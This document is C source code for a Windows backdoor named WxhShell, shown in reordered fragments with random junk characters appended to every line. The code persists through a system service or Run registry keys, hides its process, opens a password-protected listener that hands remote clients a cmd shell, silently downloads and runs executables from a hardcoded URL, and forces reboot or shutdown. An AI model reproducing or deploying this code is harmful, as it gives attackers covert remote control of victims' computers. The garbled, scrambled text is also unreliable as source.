    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ZSGnbJ  
    else { GKPC9;{W  
    closesocket(wsh); qGndh  
    ExitThread(0); g8+w?Zn}  
    } p #vZYwe=L  
    break; 0,)Ao8  
    } _ED,DM  
  // 获取shell **\BP,]}  
  case 's': { }@IRReQ  
    CmdShell(wsh); At5:X*vD  
    closesocket(wsh); ZLA&<]Ad"$  
    ExitThread(0); 6;/>asf  
    break; c*nH=  
  } + -e8MvP  
  // 退出 }gw `,i  
  case 'x': { 8J|pj4ce  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gI^);J rTE  
    CloseIt(wsh); M1._{Jw5  
    break; rCcNu  
    } Qxds]5WB/  
  // 离开 )tQG5.to  
  case 'q': { '& L;y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x' Z<  
    closesocket(wsh); b XcDsP$.  
    WSACleanup(); bS 'a)  
    exit(1); D;bQ"P-m47  
    break; jRz2l`~7#  
        } =~r?(u6d  
  } p'afCX@J  
  } jF}zv  
LS:3Dtq  
  // 提示信息 'BT}'qN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G?-27Jk8  
} y<YVb@O.  
  } AYHfe#!  
s PNX)  
  return; DbSl}N;  
} 4-q7o]%5<  
Uo{h. .7?  
// shell模块句柄 V43pZ]YZ>  
int CmdShell(SOCKET sock) H) g:<  
{ #8;|_RU  
STARTUPINFO si; {8M=[4_`l  
ZeroMemory(&si,sizeof(si)); s{q)m@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { .KCK_ d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *[*E|by  
PROCESS_INFORMATION ProcessInfo; p},6W,f  
char cmdline[]="cmd"; iKB8V<[\T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Q, 0kv  
  return 0; LV:oNK(  
} IY|;}mIF  
t1HUp dHY  
// 自身启动模式 @aR!  -}  
int StartFromService(void) 02X~' To"  
{ *AXu_^^  
typedef struct bAeN>~WvY  
{ SsjO1F  
  DWORD ExitStatus; -B2>~#L  
  DWORD PebBaseAddress; cOUsbxYTD  
  DWORD AffinityMask; u(JC 4w'  
  DWORD BasePriority; HMNjQ 1y  
  ULONG UniqueProcessId; * [*#cMZ   
  ULONG InheritedFromUniqueProcessId; 6G"AP~|0  
}   PROCESS_BASIC_INFORMATION; [|UW_Bz  
iV#JJ-OBq  
PROCNTQSIP NtQueryInformationProcess; sm}q&m]ad  
{+f@7^/i.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Df;FOTTi%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =SLP}bP{:  
/LhAQpUQT5  
  HANDLE             hProcess; /_rAy  
  PROCESS_BASIC_INFORMATION pbi; dQ^>,(  
@f0~a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CAY^ `K!  
  if(NULL == hInst ) return 0; c1wM"  
aKaqi}IT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ".| 9h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vn1kC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _1*EMq6  
c=H(*#  
  if (!NtQueryInformationProcess) return 0; VL"ZC:n)-  
sSOI5W3A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UuxWP\~2  
  if(!hProcess) return 0; 0 TSj]{[  
_jef{j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zsI0Q47\  
ld94ek  
  CloseHandle(hProcess); 5(>m=ef"  
v:CYf_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ltt%X].[  
if(hProcess==NULL) return 0; #e&j]Q$Eh  
1o o'\  
HMODULE hMod; 3P/T`)V  
char procName[255]; g=pz&cz;>\  
unsigned long cbNeeded; =KNg "|  
 <_MQC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HhNH"b&  
k(\HAIW  
  CloseHandle(hProcess); IGql^,b  
U*/  
if(strstr(procName,"services")) return 1; // 以服务启动 t=S94 ^g  
<PW*vo9v  
  return 0; // 注册表启动 | x{:GWq  
} m&,d8Gss^  
8,Yc1  
// 主模块 EBw}/y{Kt  
int StartWxhshell(LPSTR lpCmdLine) )aqu f<u@  
{ u4$d#0sA  
  SOCKET wsl; dT,X8 "  
BOOL val=TRUE; i[d-n/)  
  int port=0; *we3i  
  struct sockaddr_in door; =0,")aa!  
{exF" ap  
  if(wscfg.ws_autoins) Install(); 0$ &Z_oJ  
 ^]wm Y  
port=atoi(lpCmdLine); 4'+/R%jk"  
_@sqCf%|  
if(port<=0) port=wscfg.ws_port; OjMDxG w  
7r"!&P* ,  
  WSADATA data; 9|jIrS%/~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8c+i+gp!  
EPI mh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sijwh1j*V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4,FkA_k  
  door.sin_family = AF_INET; ;^}cZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lZ^XZjwoM  
  door.sin_port = htons(port); 2K, 1wqf'  
[ $.oyjd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H|F>BjXn5  
closesocket(wsl); jY>KF'y  
return 1; 8<)[+ @$0  
} k4pvp5}%  
H) q9.Jg  
  if(listen(wsl,2) == INVALID_SOCKET) { ReKnvF~  
closesocket(wsl); 8XX ,(k_b  
return 1; K"Nq_Ddwd  
} :Iwe>;}  
  Wxhshell(wsl); aU4'_%Y@  
  WSACleanup(); ICq;jfML  
PKdM-R'Z  
return 0; o [ar.+[  
\C}tK,79  
} :+]6SC0ql  
PhKJ#D Rbr  
// 以NT服务方式启动 tDEpR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %~Nf,  
{ IIop"6Ko  
DWORD   status = 0; z(1h^.  
  DWORD   specificError = 0xfffffff; CN brXN  
J;m[1Mae&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6xnJyEQUM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?_\Hv@t;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 76=uk!#3{  
  serviceStatus.dwWin32ExitCode     = 0; ixiRFBUcF~  
  serviceStatus.dwServiceSpecificExitCode = 0; 2)[81a  
  serviceStatus.dwCheckPoint       = 0; w'M0Rd]  
  serviceStatus.dwWaitHint       = 0; aH"tSgi  
|V!A!tB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,dBtj8=  
  if (hServiceStatusHandle==0) return; s.zH.q,  
F\-qXSA  
status = GetLastError(); ^N Et{]x  
  if (status!=NO_ERROR) ]o,)#/' $  
{ aM?7'8/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '-w G  
    serviceStatus.dwCheckPoint       = 0; J_rCo4}  
    serviceStatus.dwWaitHint       = 0; EF)kYz!@  
    serviceStatus.dwWin32ExitCode     = status; c~R ElL  
    serviceStatus.dwServiceSpecificExitCode = specificError; y*Ex5N~JC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PK3T@Qv89  
    return; +|#sF,,X4g  
  } 2U~oWg2P  
Ku,Efr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wZfR>|f  
  serviceStatus.dwCheckPoint       = 0; &lI.N~Ao  
  serviceStatus.dwWaitHint       = 0; vGm;en   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +/Y )s5@<  
} zb9d{e   
4 D\_[(P  
// 处理NT服务事件,比如:启动、停止 A|RAMO@le  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *%Gy-5hM  
{ fM S-  
switch(fdwControl) 0pkU1t~9  
{ wQ.ild  
case SERVICE_CONTROL_STOP: ;HqK^[1\  
  serviceStatus.dwWin32ExitCode = 0; f_raICO{R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dqF--)Nb  
  serviceStatus.dwCheckPoint   = 0; 1f[!=p  
  serviceStatus.dwWaitHint     = 0; 8{?Oi'-|0  
  { HLk}E*.mC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &rw|fF|]  
  } C:4h  
  return; P7u5Ykc*  
case SERVICE_CONTROL_PAUSE: <PV @JJ"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3%<ia$  
  break; BvX!n"QIb  
case SERVICE_CONTROL_CONTINUE: +hXph  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zT_{M qY  
  break; -pqShDar|  
case SERVICE_CONTROL_INTERROGATE: D"A`b{z  
  break; OkzfQ hC}  
}; cE]tvL:g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #exE ~@fy-  
} {_(;&\5  
7!MW`L/`  
// 标准应用程序主函数  KsUsj3J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .P,\69g~A  
{ W4>8  
3$HFHUMQsk  
// 获取操作系统版本 P?TFX.p7  
OsIsNt=GetOsVer(); Hk6Dwe[y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,qvz:a  
fWKv3S1dT  
  // 从命令行安装 H%faRUonz  
  if(strpbrk(lpCmdLine,"iI")) Install(); uv_*E`pN~  
~f%gW  
  // 下载执行文件 4|++0=#D$  
if(wscfg.ws_downexe) { /5yW vra  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N{Is2Ia  
  WinExec(wscfg.ws_filenam,SW_HIDE); zyCl`r[}  
} .4-;  
;AG5WPI  
if(!OsIsNt) { +8BH%f}X  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z#4? /'  
HideProc(); fep#Kb%"e  
StartWxhshell(lpCmdLine); U8< GD|  
} &NGlkn  
else ~"=nt@M]  
  if(StartFromService()) 5%4:)s{4|  
  // 以服务方式启动 =euoSH D}  
  StartServiceCtrlDispatcher(DispatchTable); Sl 6}5  
else u[d8)+VX  
  // 普通方式启动 ]MB ^0:F-  
  StartWxhshell(lpCmdLine); pazFVzT  
y!aq}YS  
return 0; Ah)7A|0rT  
} WfO6Fvx%  
t~@TUTbx  
;TaT=%  
0Y!Bb2 m  
=========================================== O'idS`   
YtIJJH  
<cepRjDn  
iY*Xm,#  
}"xC1<]  
*;o=hM)Tp  
" p=7kFv  
>#0yd7BST  
#include <stdio.h> /"/$1F%{  
#include <string.h> Sf*VkH  
#include <windows.h> ,VHvQU  
#include <winsock2.h> im1]:kr7  
#include <winsvc.h> %AW  
#include <urlmon.h> #j;&g1  
|0-5-.  
#pragma comment (lib, "Ws2_32.lib") O[`n{Vl/  
#pragma comment (lib, "urlmon.lib") y f+/Kj< a  
]Fj z+CGg  
#define MAX_USER   100 // 最大客户端连接数 6o,, w^  
#define BUF_SOCK   200 // sock buffer JLg_oK6  
#define KEY_BUFF   255 // 输入 buffer C{Npipd}v  
g<{~f  
#define REBOOT     0   // 重启 = <33(   
#define SHUTDOWN   1   // 关机 vEfX'gyk  
RHB>svT^K>  
#define DEF_PORT   5000 // 监听端口 cQ+V 4cW Z  
0n3O;=[aV  
#define REG_LEN     16   // 注册表键长度 b5H[~8mf  
#define SVC_LEN     80   // NT服务名长度 ICV67(Ui  
ZC0F:=/K  
// 从dll定义API .GS|H d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d~[ >%&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =ohdL_6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ye(0'*-jyc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M)3h 4yQ  
D;:lw]  
// wxhshell配置信息 ?rHc%H  
struct WSCFG { \6@}HFH  
  int ws_port;         // 监听端口 <cWo]T`X!  
  char ws_passstr[REG_LEN]; // 口令  '5[L []A  
  int ws_autoins;       // 安装标记, 1=yes 0=no G m.v-T$  
  char ws_regname[REG_LEN]; // 注册表键名 l}<s~ip  
  char ws_svcname[REG_LEN]; // 服务名 9prG@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F /t;y\)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o*dhks[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Xb:f/lB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rU'&o) a^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 H<_ wW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cJH7zumM)  
(cA=~Bw[=  
}; w@oq.K  
VDQ&Bm JE  
// default Wxhshell configuration LU%g>?m.]  
struct WSCFG wscfg={DEF_PORT, `D GO~RMp9  
    "xuhuanlingzhe", %*r P d>*  
    1, !TG"AW  
    "Wxhshell", 1uD}V7_y"  
    "Wxhshell", Uvz9x"0[u  
            "WxhShell Service", LFh(. }  
    "Wrsky Windows CmdShell Service", g\6(ezUF*  
    "Please Input Your Password: ", *!nS4 [d  
  1, %0"o(y+zt  
  "http://www.wrsky.com/wxhshell.exe", (T`x-wTl  
  "Wxhshell.exe" =zbrXtp,  
    }; b\;QR?16R  
9N u;0  
// 消息定义模块 -pLb%f0?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g=Qj9Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sb8SG_c.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zi|'lHr  
char *msg_ws_ext="\n\rExit."; H)(Jjk-O  
char *msg_ws_end="\n\rQuit."; %Cm4a49FNi  
char *msg_ws_boot="\n\rReboot..."; E%$FX' 8&  
char *msg_ws_poff="\n\rShutdown..."; LTJ|EXYA  
char *msg_ws_down="\n\rSave to "; l?#([(WM  
_s=[z$EN&  
char *msg_ws_err="\n\rErr!"; 0 J ANj  
char *msg_ws_ok="\n\rOK!"; V:l; 2rW  
0eb`9yM  
char ExeFile[MAX_PATH]; *Jp>)>  
int nUser = 0; u#}zNz#C5  
HANDLE handles[MAX_USER]; 2>s:wABb /  
int OsIsNt; t,RR\S  
QMkLAZ  
SERVICE_STATUS       serviceStatus; mWka!lT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BfhOe~+i  
1FY^_dvH  
// 函数声明 Fv(zql  
int Install(void); 7e u7ie6  
int Uninstall(void); EI/_=.d  
int DownloadFile(char *sURL, SOCKET wsh); ;,9|;)U?u  
int Boot(int flag); 0WYVt"|;}c  
void HideProc(void); _YbHnb  
int GetOsVer(void); NEK;'"  ~  
int Wxhshell(SOCKET wsl); v|n.AGn  
void TalkWithClient(void *cs); OZ7MpQ  
int CmdShell(SOCKET sock); ~omX(kPzK  
int StartFromService(void); ^yBx.GrQc  
int StartWxhshell(LPSTR lpCmdLine); D4 e)v%  
i%-c/ lop  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q@l3XNH|c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^>]p4Q3 6  
bD49$N?>  
// 数据结构和表定义 F1 MPo;e  
SERVICE_TABLE_ENTRY DispatchTable[] = ,!Ah+x  
{ ?K}/b[[0v  
{wscfg.ws_svcname, NTServiceMain}, f$/Daq <M  
{NULL, NULL} R#Ss_y  
}; F5E KWP  
b/2t@VlL  
// 自我安装 6IeHZ)jGj  
int Install(void) ~Uga=&  
{ v bh\uv&  
  char svExeFile[MAX_PATH]; /A{znE  
  HKEY key; (8{h I  
  strcpy(svExeFile,ExeFile); ;:' A{&0N  
o3%+FWrVTS  
// 如果是win9x系统,修改注册表设为自启动 Fet>KacTht  
if(!OsIsNt) { o2Z# 5-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  E#ti  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m-ZVlj  
  RegCloseKey(key); fq\E$'o$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $g#%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &4p:2,|r9  
  RegCloseKey(key); {t9'8R3  
  return 0; @'~v~3 $S  
    } @XB/9!  
  } B&<Z#C:I  
} 8<IO X  
else { {wCQ#V  
;Wb W\,P'  
// 如果是NT以上系统,安装为系统服务 ? NVN&zD]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pGUrYik4  
if (schSCManager!=0) C2bN<K  
{ W!+5}\?  
  SC_HANDLE schService = CreateService z) Bc91A  
  ( =[vT=sHz7  
  schSCManager, Q- j+#NGc  
  wscfg.ws_svcname, lwjg57  
  wscfg.ws_svcdisp, u'P@3'P  
  SERVICE_ALL_ACCESS, +FyG{1?<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .pG_j]  
  SERVICE_AUTO_START, "4i(5|whp?  
  SERVICE_ERROR_NORMAL, d94Lc-kq^  
  svExeFile, 6?(*:}Q  
  NULL, qfG`H#cA<  
  NULL, MJDFm,  
  NULL, }6ec2I%`o  
  NULL, keCM}V`?"  
  NULL eV}Ow`~I5  
  ); _f2(vWCW;J  
  if (schService!=0) Smg,1,=  
  { r1$ O<3\  
  CloseServiceHandle(schService); !J'BAq[x  
  CloseServiceHandle(schSCManager); XG_ lyx%:E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6uR :/PTG  
  strcat(svExeFile,wscfg.ws_svcname); bi[vs|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JZ80|-c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?v `0KF  
  RegCloseKey(key); [ 98)7  
  return 0; zJXU>'obe  
    } LB U]^t@ M  
  } e3\*Np!rTQ  
  CloseServiceHandle(schSCManager); g$ 9Yfu  
} </Q<*@p?  
} ,in`JM<o  
l}K {=%U>7  
return 1; ,Cde5A{K  
} _q+H>1. &9  
~B|K]&/]  
// 自我卸载 -hyY5!rD  
int Uninstall(void) AfFF u\  
{ _Su$oOy(Ea  
  HKEY key; 8^^Xr  
4GeWo@8h  
if(!OsIsNt) { w}YO+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x4R[Q&:M  
  RegDeleteValue(key,wscfg.ws_regname); U $e-e/  
  RegCloseKey(key); !&?(ty^F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @My-O@C>  
  RegDeleteValue(key,wscfg.ws_regname); op/|&H'  
  RegCloseKey(key); -h8A<  
  return 0; @6(4}&sEdm  
  } Ftu4 V*lD  
} *8t_$<'dQ  
} S 0,p:Wey  
else { b&s"x? 7  
fg^$F9@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Wf&$p<|  
if (schSCManager!=0) VuPa '2  
{ 34&n { xv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +{4ziqYj  
  if (schService!=0) $5s?m\!jZz  
  { pma'C\b>  
  if(DeleteService(schService)!=0) { DF P0WXbOE  
  CloseServiceHandle(schService); xW!2[.O5H  
  CloseServiceHandle(schSCManager); ,*wa#[  
  return 0; 3g^_Fq'  
  } mfg{% .1  
  CloseServiceHandle(schService); o.* 8$$  
  } '%l<33*  
  CloseServiceHandle(schSCManager); MCjf$pZN]  
} _cQTQ  
} jV#{8 8  
(O"Wa  
return 1; O#sDZ.EL  
} G?#f@N0.5p  
U# G0  
// 从指定url下载文件 'UUIY$V[  
int DownloadFile(char *sURL, SOCKET wsh) n&p i  
{ ,n-M!y  
  HRESULT hr; -1DQO|q#  
char seps[]= "/"; S[n ;u-U  
char *token; 4&Y{kNF  
char *file; mr,IP=e~  
char myURL[MAX_PATH]; Sbc  
char myFILE[MAX_PATH]; /YKg.DA|  
[daUtKz  
strcpy(myURL,sURL); q5p!Ty"  
  token=strtok(myURL,seps); [>U'P1@ql  
  while(token!=NULL) pIXbr($  
  {  ") q  
    file=token; LK-2e$1  
  token=strtok(NULL,seps); G\@ uj>Z  
  }  <]2X~+v  
96fbMP+7R  
GetCurrentDirectory(MAX_PATH,myFILE); 6F(;=iY8  
strcat(myFILE, "\\"); 7y""#-}V[r  
strcat(myFILE, file); N\1 EWi  
  send(wsh,myFILE,strlen(myFILE),0); *I:^g  
send(wsh,"...",3,0); BGh1hyJ8d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [AstD9  
  if(hr==S_OK) =aX;-  
return 0; z/dpnGX  
else (P%{Tab  
return 1; 7k.=_Tl  
@eU;oRVc{  
} Oi+9kk e  
dUegHBw_`R  
// 系统电源模块 $@QF<?i~  
int Boot(int flag) ue"?n2  
{ V+G.TI P  
  HANDLE hToken; nd_+g2x'  
  TOKEN_PRIVILEGES tkp; \qj4v^\  
5?9K%x'b  
  if(OsIsNt) { (,*e\o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |=&[sC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j> Ce06G  
    tkp.PrivilegeCount = 1; )z zZYs&|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q"itV&d,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [Q9#44@{S;  
if(flag==REBOOT) { Cak `}J 2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U.g7'`Z<  
  return 0; _Vul9=  
} C^oj/} ^  
else { v50w}w'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < Ih)h$8`  
  return 0; R~TzZ(Ah]  
} )(V|d$n  
  } .dM4B'OA?  
  else { rWsUWA T*  
if(flag==REBOOT) { %xv }  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j N":9+F  
  return 0; &m<:&h& b  
} di $\\ Ah  
else { HG kL6o=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h \dq]yOl  
  return 0; lrrNyaFn  
} >d2U=Yk!  
} k;BXt:jDq  
X0G6W p  
return 1; >8%<ML  
} CCx_|>  
'9@} =pE  
// win9x进程隐藏模块 Fq>tl 64A  
void HideProc(void) $o}Ao@WkO  
{ 2aj9:S  
.Y`;{)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R2K{vs  
  if ( hKernel != NULL ) B'[FnJ8~  
  { 5A Fy6Ab  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,, S]_S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^phgNzD  
    FreeLibrary(hKernel); qrdA4S  
  } m ^?a/  
DD$YMM  
return; F{,<6/ayRz  
} E^'f'\m  
e"g=A=S  
// 获取操作系统版本 B L^?1x  
int GetOsVer(void)  ZDn5d%  
{ ^/c v8M=  
  OSVERSIONINFO winfo; aUZh_<@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SrVo0$5)  
  GetVersionEx(&winfo); =*2_B~`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +hiskV@v  
  return 1; ^W8kt  
  else zH)M,+P  
  return 0; =Pj+^+UM  
} |-+IF,j  
9pF@#A9p  
// 客户端句柄模块 OQ*BPmS-   
int Wxhshell(SOCKET wsl) EjY8g@M;t  
{ ECW=865jL  
  SOCKET wsh; WZh%iuI{C  
  struct sockaddr_in client; D_s0)|j$cy  
  DWORD myID; L[s7q0 F`l  
z:gp\  
  while(nUser<MAX_USER) r~2>_LK  
{ 'aV/\a:*  
  int nSize=sizeof(client); NQ&\t[R[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r. z=  
  if(wsh==INVALID_SOCKET) return 1; GycW3tc]_&  
c2E*A+V#u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SLsw '<  
if(handles[nUser]==0) 9I1D'7wI^^  
  closesocket(wsh);  Q{K '#  
else O %m\ Q1  
  nUser++; 2wX4e0cOI4  
  } oeKVcVP|'&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qp##>c31X  
;URvZ! {/Z  
  return 0; #S4lRVt5  
} sV']p#HK0  
(8Ptuh6\\2  
// 关闭 socket IoAG!cS  
void CloseIt(SOCKET wsh) /8Wfs5N  
{ u2 a#qU5*  
closesocket(wsh); V vFMpPi  
nUser--; 6< hE]B)  
ExitThread(0); 5 *R{N ~>  
} 'zo] f  
4-r5C5o,W  
// 客户端请求句柄 =Ts5\1sc>  
void TalkWithClient(void *cs) :@~W$f\y  
{ |$:y8H'J  
{wL30D^  
  SOCKET wsh=(SOCKET)cs; |^09ny|  
  char pwd[SVC_LEN]; s;!_'1pi@  
  char cmd[KEY_BUFF]; R]LuZN  
char chr[1]; fFe{oR   
int i,j; (,`R>Dk  
zhdS6Gk+  
  while (nUser < MAX_USER) { $S6%a9m   
gfr+`4H>v  
if(wscfg.ws_passstr) { % S vfY{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uyqu n@q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (&osR|/Tq  
  //ZeroMemory(pwd,KEY_BUFF); zBjtPtiiI8  
      i=0; 7{ JIHY+  
  while(i<SVC_LEN) { >}7Ml  
'qy LQ:6  
  // 设置超时 t@vVE{`  
  fd_set FdRead; Kg;u.4.-M  
  struct timeval TimeOut; h<0&|s*a)  
  FD_ZERO(&FdRead); 4roqD;5|~|  
  FD_SET(wsh,&FdRead); eJ ;a}{ 4%  
  TimeOut.tv_sec=8; FL|\D  
  TimeOut.tv_usec=0; MW|*Z{6*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BB9+d"Sq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ud grZ/w]  
p!Xn iY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QWQJSz5  
  pwd=chr[0]; umo<9Y  
  if(chr[0]==0xd || chr[0]==0xa) { eYQPK?jo  
  pwd=0; *ufVZzP(  
  break; [C^&iLX/F*  
  } ^h?]$P  
  i++; *,FU*zi  
    } wl.a|~-  
P P-U.  
  // 如果是非法用户,关闭 socket q).[" fSV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FGey%:p9$  
} <y2HzBC  
J`[v u4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2L(\-]%f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 .y35y  
mDdL7I  
while(1) { n@te.,?A"  
mMOjV_  
  ZeroMemory(cmd,KEY_BUFF); F%ffnEJg  
xP7#`S6W  
      // 自动支持客户端 telnet标准   j;yKL-ycB  
  j=0; p>=i'~lQ6  
  while(j<KEY_BUFF) { v$)ZoM6E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :B7dxE9[r  
  cmd[j]=chr[0]; vrq5 +K&||  
  if(chr[0]==0xa || chr[0]==0xd) { +l27y0>t  
  cmd[j]=0; vq` M]1]FO  
  break; +(U;+6 b  
  } +R2+?v6  
  j++; <N(r -  
    } >[0t@Tu,D  
:\F1S:&P  
  // 下载文件 b!4Z~d0=  
  if(strstr(cmd,"http://")) { f2iA5 rCV]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }h+{>{2j  
  if(DownloadFile(cmd,wsh)) 7!g"q\s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0fuN)C  
  else snicVzvA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^61;0   
  } POI|#[-V  
  else { eq(1'?7]`G  
:|%1i>O  
    switch(cmd[0]) { G S&I6  
  -2B3 xIZJ  
  // 帮助 QV[#^1  
  case '?': { 25Uw\rKeO  
